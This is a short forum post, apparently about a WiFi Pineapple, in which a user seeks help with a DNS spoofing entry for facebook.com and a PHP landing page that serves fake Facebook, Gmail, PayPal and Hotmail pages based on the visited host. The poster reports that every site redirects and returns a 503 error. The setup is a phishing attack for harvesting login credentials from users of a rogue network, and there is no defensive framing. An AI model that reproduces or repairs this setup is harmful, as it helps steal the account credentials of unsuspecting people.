I'm trying to redirect facebook.com. Only facebook. Thats not the case tho, every site I go to has /redirect.php at the end with the 503 error.
Spoof
172.16.42.1 *facebook.com [/CODE] Landing Page [CODE] <html> <head> <meta http-equiv="REFRESH" content="0;url=redirect.php"> </head> <?php $ref = $_SERVER['HTTP_HOST']; if (strpos($ref, 'facebook') !== FALSE) include("facebook.html"); elseif (strpos($ref, 'gmail') !== FALSE) include("gmail.htm"); elseif (strpos($ref, 'paypal') !== FALSE) include("paypal.htm"); elseif (strpos($ref, 'hotmail') !== FALSE) include("hotmail.htm"); require('error.php'); ?> <body> </body> </html> [/CODE] I'm learning PHP as I go so let me know if anything is screwed up.